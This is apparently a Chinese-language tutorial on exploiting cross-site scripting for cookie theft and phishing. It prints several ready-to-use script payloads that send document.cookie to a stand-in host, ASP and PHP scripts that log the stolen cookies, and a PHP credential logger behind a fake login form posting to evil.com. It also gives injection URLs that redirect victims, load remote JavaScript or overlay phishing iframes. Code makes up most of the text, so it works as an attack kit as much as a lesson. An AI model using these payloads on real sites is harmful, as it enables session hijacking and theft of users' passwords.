XSS利用方式
Cookie窃取攻击
XSS攻击中最常见的应用方式之一
cookie的操作
通过Document对象访问Cookie。若要创建一个Cookie,只要将特定格式的字符串赋给document.cookie
常见cookie属性:
Domain——设置关联cookie的域名
Expires——通过给定一个过期时间来创建一个持久化Cookie
HttpOnly——用于避免cookie被JavaScript访问
Name——Cookie的名称
Path——关联到cookie的路径
Value——读写cookie的值
Secure——用于指定Cookie需要通过安全Socket层连接传递
创建一个cookie,需要提供cookie的名字、对应值、过期时间、相关路径等,以PHP为例,使用setcookie()能轻易创建一个cookie
<?
setcookie('user_id',123);
?>
若要删除cookie,设定Cookie的Expires的值为过去时间即可:
setcookie('user_id',0,time()-1); //删除cookie变量
cookie会话攻击原理刨析
窃取cookie的人不需要知道这些字符串的含义,只要把cookie向服务器提交并通过验证后,就可以冒充受害人的身份登陆网站。
攻击者通常利用XSS漏洞发起攻击。假设一个网站存在存储型XSS(或反射型),攻击者就可以像漏洞页面写入窃取cookie信息的恶意代码。
攻击者可以使用以下几种方法获取客户端的cookie信息:
<script>
document.location="http://www.test.com/cookie.asp?cookie="+document.cookie
</script>
<img src="http://www.test.com/cookie.asp?cookie='+document.cookie"></img>
<script>
new Image().src="http://www.test.com/cookie.asp?cookie="+document.cookie;
</script>
<script>
img=new Image();
img.src="http://www.test.com/cookie.asp?cookie="+document.cookie;
img.width=0;
img.height=0;
</script>
<script>
document.write('<img src="http://www.test.com/cookie.asp?cookie='+document.cookie+'"width=0 height=0 border=0 />');
</script>
在远程服务器上有一个接收和记录Cookie信息的文件
asp:
<%
msg=Request.ServerVariable("QUERY_STRING")
testfile=Server.MapPath("cookie.txt")
set fs=server.CreatObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(textfile,8,True,0)
thisfile.Writeline(""&msg&"")
thisfile.close
set fs=nothing
%>
php:
<?php
$cookie=$_GET['cookie'];
$log=fopen("cookie.txt","a");
fwrite($log,$cookie."\n");
fclose($log);
?>
攻击者在获取受害者的Cookie信息后们还需要与Web浏览器建立会话,才能完全侵入用户的账户。建立绘画通常使用一些能够修改Cookie的工具,如桂林老兵的Cookie欺骗工具、Firefox的插件Firecookie等
网络钓鱼
XSS Phishing
XSS跨站脚本最大的特性是能够在网页中插入并运行JavaScript,不仅能劫持用户的当前会话,同时控制浏览器的行为。利用这一点,攻击者能实施完美的钓鱼攻击,这种基于XSS的钓鱼技术称为XSS Phinshing
1. 钓鱼页面
攻击者会构造钓鱼页面。一般钓鱼网站的主要内容是登陆表单部分,其代码可以从真实网站的页面复制过去,例如:
<form method="post" action="index.php?action=login">
<input type="text" name="username" value="Nick" /><br />
<input type="password" name="password" value="Pass" /><br />
<input type="submit" name="login" value="Submit" />
</form>
修改登陆表单的地址。假设远程服务器接收信息的页面为 get.php,就要改变<form>标签中的action的值
<form method="post" action="http://www.evil.com/get.php">
2.记录信息的脚本
在远程服务器上(http://www.evil.com)上,会存放一个用来接收和记录账号和密码信息的文件(get.php)
<?php
$data=fopen("login.txt","a+");
$login=$_POST['username'];
$pass=$_POST['password'];
fwrite($data,"Username: $login\n");
fwrite($data,"Password: $pass\n");
fclose($data);
Header("location: http://target.com");
?>
这段代码用来接收输入的账号和密码,保存,用PHP的header()函数实现页面跳转,让页面跳转到正常访问的网站
3. XSS Phishing Expliot
攻击者在XSS页面插入利用代码:
http://www.bug.com/index.php?s=<script src=http://evil.com/xss.js></script>
当用户访问这个连接,就会动态调用远程的xss.js文件,该文件作用创建一个Iframe框架覆盖目标页面,再加载远程域伪造的钓鱼页面
这里使用document.body.innerHTML方法插入代码:
document.body.innerHTML=(
'<div style="position:absolute; top:0px; left:0px; width:100%; height:100%;">'+
'<iframe src=http://www.evil.com/phishing.html width=100% height=100%>'+
'</iframe></div>'
);
XSS钓鱼的方式
1. XSS重定向钓鱼
把当前页面重定向到一个钓鱼网站上。例如www.bug.com为漏洞网站,那么钓鱼网站www.evil.com就会完全仿冒网站的页面内容及行为,精心钓鱼等诈骗
http://www.bug.com/index.php?search=[Expliot]
那么,Expliot利用:
http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>
2.HTML注入式钓鱼
HTML注入式钓鱼是指直接利用XSS漏洞注射HTML/JavaScript代码到页面中
http://www.bug.com/index.php?serach="'<html><head><title>login</title></head><body><div style="text-align: center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br />Login:<br /><input name="login" /><br />Password:<br/><input name="Password" type="password" /><br/><br/><input name="Valid" value="Ok" type="submit" /><br/></form></div></body></html>
这段代码会嵌入一个正常的表单,构造一个登陆表单,该表单可以覆盖原页面显示
3. XSS跨框架钓鱼
这种方式是通过<iframe>标签嵌入远程域的一个页面实施钓鱼
XSS phishing Expliot如下:
http://www.bug.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"></iframe>
4. flash钓鱼
flash钓鱼甚至不要求网站存在XSS漏洞,只要攻击者精心构造的flash文件上传到远程服务器,然后再目标网站使用<object>或<embed>引用flash即可